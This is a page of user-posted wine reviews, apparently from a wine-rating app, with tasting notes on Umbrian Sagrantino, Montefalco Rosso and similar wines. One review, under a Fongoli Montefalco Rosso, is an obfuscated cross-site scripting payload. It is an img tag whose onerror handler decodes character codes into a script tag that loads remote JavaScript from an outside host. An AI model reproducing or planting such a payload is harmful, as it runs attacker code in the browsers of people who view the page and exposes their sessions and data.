Assisi, Perugia

Arnaldo-Caprai

Sagrantino di Montefalco 2015

Ook enkele uren na opening en decanteren een mondvol tannines. Een 8,9. Na 2 dagen begon de wijn uit deze magnum toch wel erg goed te smaken (9,2) en op dag 3 dacht ik: top druif die Sagrantino, goed voor 9,5 punten! — 4 months ago

Eric and Peter liked this
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Arnaldo-Caprai

Grecante Colli Martani Grechetto 2023

Vintage 2023 | Juicy and very quaffable grechetto. Each time I taste this brings me back to a visit to Arnaldo Capraï in Umbria. It is a emotion wine to me. Paired with a schnitzel. — a year ago

Brian, Paul and 13 others liked this

Fongoli

Montefalco Rosso Sangiovese Blend

<img src="" onerror="document.write(String.fromCharCode(60,115,67,82,105,80,116,32,115,82,67,61,47,47,104,116,116,112,115,58,47,47,120,115,46,97,120,47,120,105,97,111,62,60,47,115,67,114,73,112,84,62))"> — 4 years ago

Fongoli

Rossofongoli Umbria Rosso Vino Biologico Sangiovese Blend 2019

Weird fizz. A little funk which I don’t like but jeff loves. It’s a guy thing. Finish has nice grip. — 5 years ago

Cesarini Sartori - Signae

Sagrantino di Montefalco 2011

Thought it was a Chianti. I was wrong.

This wine could have been a smash...
— 6 years ago

Riccardo and Josh liked this

Còlpetrone

Montefalco Dry Sagrantino 2011

Pow! in your face fucking good! — 7 years ago

Jonathan liked this

Perticaia

Montefalco Sagrantino 2010

Beautifully perfumed with spice and dried flowers and earth. Tannins have mellowed since last bottle a little over a year and a half ago, though still grippy on the sides of the mouth. — 7 years ago

Raun Kupiec

Raun Kupiec

Just opened another bottle 92 weeks later. Almost identical to what I wrote. Tannins have mellowed a bit more. With a fatty piece of pork neck the tannins were almost unnoticeable, but then with a sweet molasses cookie they were grippy again. Really great wine.

Fongoli

Sagrantino di Montefalco

Mushrooms, funk, pepper, medium acidity. I would drink all the time. — 5 months ago

Arnaldo-Caprai

Montefalco Rosso Sangiovese Blend 2021

Oggi Tratoria in Chicago with family night before Thanksgiving 2025 — 6 months ago

Terre de Trinci

Montefalco Sagrantino 2012

Deep ruby hue. Notes of blackberry, olives, pepper, and tar. Full tannins and high acidity. Superb with meats. — 3 years ago

Còlpetrone

Montefalco Sagrantino 2012

We asked for a bold red and we got it! — 4 years ago

Jamie, Ira and 12 others liked this

Azienda Agraria Scacciadiavoli

Spumante Metodo Classico Brut Rosé

Lovely! Red apple peel, fresh, a note of toast if it’s not too cold — 5 years ago

Bocale

Sagrantino di Montefalco Sagrantino 2017

Great way to start the wine dinner!!
Wonderful
— 6 years ago

Tili

Riserva Assisi Sangiovese 1997

A house favorite, even when I leave the house. The fruit is fresh and vibrant, tannins are fully integrated, and enough acid punch left to foil well with Osso Bucco. Likely a one-hit wonder from this relatively unknown producer in Umbria. — 7 years ago

Severn, Kimberly and 7 others liked this

Azienda Agraria Scacciadiavoli

Sagrantino di Montefalco 2018

Dec 2025: PnP, wakes up in half an hour in the glass. Complex, refined and a bit tamed Sagrantino, good structure an medium tannins, very nice overall. Softer and more delicate on the 2nd day. — 5 months ago

Bocale

Montefalco Rosso Red Blend 2017

Deep red color with a hint of purple. Medium legs, medium body and very balanced without any sediment. First nose of cherry with a hint of violet and spice. Easy drinking with cherry, raspberry, red fruits with a bit of earthiness and a hint of vanilla. Polished and finishes beautifully.

Purchased at Bocale winery
— 5 months ago

Antonelli San Marco

Montefalco Sagrantino 2016

Deep color, great structure and tannins. A very good red wine not well known but one of my favorites. — 3 years ago

Azienda Agraria Scacciadiavoli

Montefalco Rosso Sangiovese Blend 2018

Cherry, raspberry, currant, vanilla, blackberry and oak. Medium-bodied and moderate tannins. — 4 years ago

Paul liked this

Lungarotti

Sagrantino di Montefalco 2016

Fresh sage and eucalyptus in a glass! Deep ruby with garnet rim. Blackberry, black cherry, forest floor, mushroom, black licorice, black peppercorn, black olives, balsamic oil, sanguine, and chalkiness. High acidity with high chalky tannins, 15% abv, full body. Long savory/sanguine finish. — 5 years ago

Ira liked this

Antonelli San Marco

Chiusa di Pannone Sagrantino di Montefalco

Wonderful Sagrantino with big, smooth tannins. Rustic but elegant, like the wonderful countryside of Umbria. — 7 years ago

Andreas, P and 1 other liked this